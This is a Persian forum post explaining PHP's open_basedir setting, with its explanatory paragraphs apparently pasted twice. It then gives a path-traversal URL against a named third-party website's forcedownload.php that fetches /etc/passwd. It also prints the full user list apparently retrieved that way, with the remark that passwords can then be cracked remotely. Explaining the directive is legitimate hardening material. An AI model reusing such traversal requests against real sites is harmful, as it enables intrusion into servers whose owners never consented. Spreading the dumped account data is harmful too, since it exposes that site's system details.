چند وقت پیش واسم سوال شد این open Base_Dire چیه
این مقاله ای که الان میزارم خلاصه چند تا سایت و مقاله فارسی و انگلیسی هستش.
امیدوارم مفید واقع بشه.
این خاصیت در php این امکان را فراهم می آورد تا فایل هایی که توسط php باز می شوند را محدود کنید این diretive تحت تاثیر safe mode نیست و روشن یا خاموش بودن آن تاثیری بر عملکرد این directive ندارد.
هنگامی که یک برنامه تلاش می کندیک فایل را باز کند موقعیت فایل در ساختار درختی بررسی می شود. اگر فایل در خارج از ساختار درختی مجاز باشید php آن را باز نمی کند . در این حالت لینک های پیوندی هم بررسی می شوند لذا این محدودیت در symlink هم اعمال می شود.
از خطرات خاموش بودن Open_basedir این هستش که هکر می تونه با آپلود کردن یک شل اسکریپت در سایت شما به تمامی دایرکتوری های سرور جا به جا شده و بتواند فایل ها را مدیریت کند.
مثلا توی این سرور بعلت تنظیم نشدن open base_dir براحتی میشه توسط php به فایل passwd دست پیدا کرد و به صورت remote پسورد ها رو کرک کرد.
این مقاله ای که الان میزارم خلاصه چند تا سایت و مقاله فارسی و انگلیسی هستش.
امیدوارم مفید واقع بشه.
این خاصیت در php این امکان را فراهم می آورد تا فایل هایی که توسط php باز می شوند را محدود کنید این diretive تحت تاثیر safe mode نیست و روشن یا خاموش بودن آن تاثیری بر عملکرد این directive ندارد.
هنگامی که یک برنامه تلاش می کندیک فایل را باز کند موقعیت فایل در ساختار درختی بررسی می شود. اگر فایل در خارج از ساختار درختی مجاز باشید php آن را باز نمی کند . در این حالت لینک های پیوندی هم بررسی می شوند لذا این محدودیت در symlink هم اعمال می شود.
از خطرات خاموش بودن Open_basedir این هستش که هکر می تونه با آپلود کردن یک شل اسکریپت در سایت شما به تمامی دایرکتوری های سرور جا به جا شده و بتواند فایل ها را مدیریت کند.
مثلا توی این سرور بعلت تنظیم نشدن open base_dir براحتی میشه توسط php به فایل passwd دست پیدا کرد و به صورت remote پسورد ها رو کرک کرد.
کد PHP:
http://www.artbullet.com/forcedownload.php?file=/etc/passwd
کد PHP:
root:x:0:0:User root:/root:/bin/bash bin:x:1:1:base-user:/bin:
daemon:x:2:2:base-user:/sbin:
adm:x:3:4:base-user:/var/log:
sync:x:5:0:base-user:/sbin:/bin/sync
shutdown:x:6:0:base-user:/sbin:/sbin/shutdown
halt:x:7:0:base-user:/sbin:/sbin/halt
mail:x:8:12:base-user:/:
cron:x:13:13:base-user:/var/spool/cron:/bin/false
man:x:15:15:base-user:/usr/share/man:/bin/false
nobody:x:16:16:base-user:/:
portage:x:250:250:base-user:/var/tmp/portage:/bin/false
smmsp:x:22:22:base-user:/:/usr/sbin/nologin
sshd:x:21:21:base-user:/:/usr/sbin/nologin
oracle:x:1000:408:base-user:/:/usr/sbin/nologin
iqos:x:62:62:base-user:/usr/services/control/jboss:/bin/bash
alias:x:71:70:base-user:/usr/services/mail/qmail/alias:/usr/sbin/nologin
qmaild:x:72:70:base-user:/usr/services/mail/qmail:/usr/sbin/nologin
qmaill:x:73:70:base-user:/usr/services/mail/qmail:/usr/sbin/nologin
qmailp:x:74:70:base-user:/usr/services/mail/qmail:/usr/sbin/nologin
qmailq:x:75:71:base-user:/usr/services/mail/qmail:/usr/sbin/nologin
qmailr:x:76:71:base-user:/usr/services/mail/qmail:/usr/sbin/nologin
qmails:x:77:71:base-user:/usr/services/mail/qmail:/usr/sbin/nologin
vpopmail:x:78:72:base-user:/usr/services/mail/vpopmail:/usr/sbin/nologin
nscd:x:32:32:base-user:/dev/null:/usr/sbin/nologin
www:x:31:31:base-user:/:/usr/sbin/nologin
bind:x:50:50:base-user:/:/usr/sbin/nologin
ssmysql:x:40:40:base-user:/:/usr/sbin/nologin
mysql:x:80:80:base-user:/:/usr/sbin/nologin
mivamysql:x:41:41:base-user:/:/usr/sbin/nologin
mysshd:x:25:25:base-user:/:/usr/sbin/nologin
ntp:x:123:123:base-user:/var/lib/openntpd/chroot:/usr/sbin/nologin
ldap:x:124:124:base-user:/:/usr/sbin/nologin
clamav:x:85:85:base-user:/:/usr/sbin/nologin
spamass:x:86:86:base-user:/:/usr/sbin/nologin
qscan:x:87:87:base-user:/:/usr/sbin/nologin
milter:x:101:101:base-user:/dev/null:/usr/sbin/nologin
tcpdump:x:116:116:base-user:/dev/null:/usr/sbin/nologin
devlogs:x:1000:100:base-user:/home/devlogs:/bin/bash
techs:x:1001:100:base-user:/home/techs:/bin/bash
noc:x:1002:100:base-user:/home/noc:/bin/bash
taddm:x:224:100:User taddm:/home/taddm:/bin/bash